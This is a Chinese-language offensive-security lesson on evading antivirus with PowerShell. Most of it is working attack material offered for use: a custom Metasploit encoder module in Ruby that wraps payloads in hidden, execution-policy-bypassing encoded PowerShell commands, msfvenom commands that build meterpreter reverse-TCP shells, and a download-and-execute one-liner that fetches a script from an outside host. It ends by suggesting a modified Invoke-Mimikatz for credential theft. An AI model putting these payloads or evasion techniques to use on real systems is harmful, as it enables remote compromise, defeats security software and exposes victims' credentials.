第四十九课：关于Powershell对抗安全软件

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知识点介绍：
Windows PowerShell是以.NET Framework技术为基础，并且与现有的WSH保持向后兼容，因此它的脚本程序不仅能访问.NET CLR，也能使用现有的COM技术。同时也包含了数种系统管理工具、简易且一致的语法，提升管理者处理，常见如登录数据库、WMI。Exchange Server 2007以及System Center Operations Manager 2007等服务器软件都将内置Windows PowerShell。Windows PowerShell的强大，并且内置，在渗透过程中，也让渗透变得更加有趣。而安全软件的对抗查杀也逐渐开始针对powershell的一切行为。在 https://technet.microsoft.com，看到文档如下：
Here is a listing of the available startup parameters: -Command Specifies the command text to execute as though it were typed at the PowerShell command prompt. -EncodedCommand Specifies the base64-encoded command text to execute. -ExecutionPolicy Sets the default execution policy for the console session. -File Sets the name of a script file to execute. -InputFormat Sets the format for data sent to PowerShell as either text string or serialized XML. The default format is XML. Valid values are text and XML. -NoExit Does not exit after running startup commands. This parameter is useful when you run PowerShell commands or scripts via the command prompt(cmd.exe). -NoLogo Starts the PowerShell console without displaying the copyright banner. -Noninteractive Starts the PowerShell console in non-interactive mode. In this mode, PowerShell does not present an interactive prompt to the user. -NoProfile Tells the PowerShell console not to load the current user’s profile. -OutputFormat Sets the format for output as either text string or serialized XML. The default format is text. Valid values are text and XML. -PSConsoleFile Loads the specified Windows PowerShell console file. Console files end with the .psc1 extension and can be used to ensure that specific snap-in extensions are loaded and available. You can create a console file using Export-Console in Windows PowerShell. -Sta Starts PowerShell in single-threaded mode. -Version Sets the version of Windows PowerShell to use for compatibility,such as 1.0. -WindowStyle Sets the window style as Normal, Minimized, Maximized, or Hidden. The default is Normal.
针对它的特性，本地测试：
Add-Type -AssemblyName PresentationFramework;
[System.Windows.MessageBox]::Show('Micropoor')
上文所说，越来越多的杀软开始对抗，powershell的部分行为，或者特征。以msfvenom为例，生成payload。
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micropoor.ps1不幸被杀。
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针对powershell特性，更改payload
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接下来考虑的事情是如何把以上重复的工作变成自动化，并且针对powershell，DownloadString特性，设计出2种payload形式：
（1）目标机出网
（2）目标机不出网
并且根据需求，无缝连接Metasploit。
根据微软文档，可以找到可能对以上有帮助的属性，分别为：
Window  
Style  
NoExit EncodedCommand  
exec
自动化实现如下：
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# copy base64.rb to metasploit-framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
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# E.g
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# msf encoder(powershell/base64) > use exploit/multi/handler
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# msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
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# payload => windows/x64/meterpreter/reverse_tcp
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# msf exploit(multi/handler) > exploit
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# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
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# [*] Started reverse TCP handler on xx.1xx.xx.xx:xx
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​
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class MetasploitModule < Msf::Encoder
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    Rank = NormalRanking
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​
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def initialize
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    super(
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    'Name' => 'Powershell Base64 Encoder',
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    'Description' => %q{
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    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx
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-f psh-reflection --arch x64 --platform windows | msfvenom -e
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powershell/base64 --arch x64 --platform windows.
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    },
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    'Author' => 'Micropoor',
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    'Arch' => ARCH_CMD,
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    'Platform' => 'win')
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​
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register_options([
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OptBool.new('payload', [ false, 'Use payload ', false ]), 
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OptBool.new('x64',[ false, 'Use syswow64 powershell', false ])
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])
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​
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end
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​
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def encode_block(state, buf)
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base64 = Rex::Text.encode_base64(Rex::Text.to_unicode(buf)) 
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cmd = ''
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if datastore['x64']
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    cmd += 'c:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe '
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else
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    cmd += 'powershell.exe ' 
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end
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if datastore['payload']
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    cmd += '-windowstyle hidden -exec bypass -NoExit ' 
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end
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cmd += "-EncodedCommand \#{base64}" 
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end
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end
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​
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# if use caidao
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# execute echo powershell -windowstyle hidden -exec bypass -c \""IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.117/xxx.ps1');\""|msfvenom -e x64/xor4 --arch x64 --platform windows
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# xxx.ps1 is msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xx.xx.xx.xx LPORT=xx -f psh-reflection --arch x64 --platform windows | msfvenom -e powershell/base64 --arch x64 --platform windows.
Copied!
copy powershell_base64.rb to metasploit‐framework/embedded/framework/modules/encoders/powershell.If powershell is empty,mkdir powershell.
参数 payload 选择是否使用 Metasploit payload，来去掉 powershell 的关键字。
例1（目标出网，下载执行）：
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echo powershell ‐windowstyle hidden ‐exec bypass ‐c \""IEX (New‐ObjectNet.WebClient).DownloadString('http://192.168.1.117/micropoor.ps1');\""|msfvenom ‐e powershell/base64 ‐‐arch x64 ‐‐platform windows
Copied!
例2（目标不出网，本地执行）
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注：加payload参数
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msfvenom ‐p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.117 LPORT=8080 ‐f psh‐reflection ‐‐arch x64 ‐‐platform windows | msfvenom ‐e powershell/base64 ‐‐arch x64 ‐‐platform windows payload
Copied!
更多有趣的实验：
把例1的 down 内容更改为例2，并且去掉 payload 参数。来减小 payload 大小。
更改 Invoke-Mimikatz.ps1 等。
Micropoor
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注：加payload参数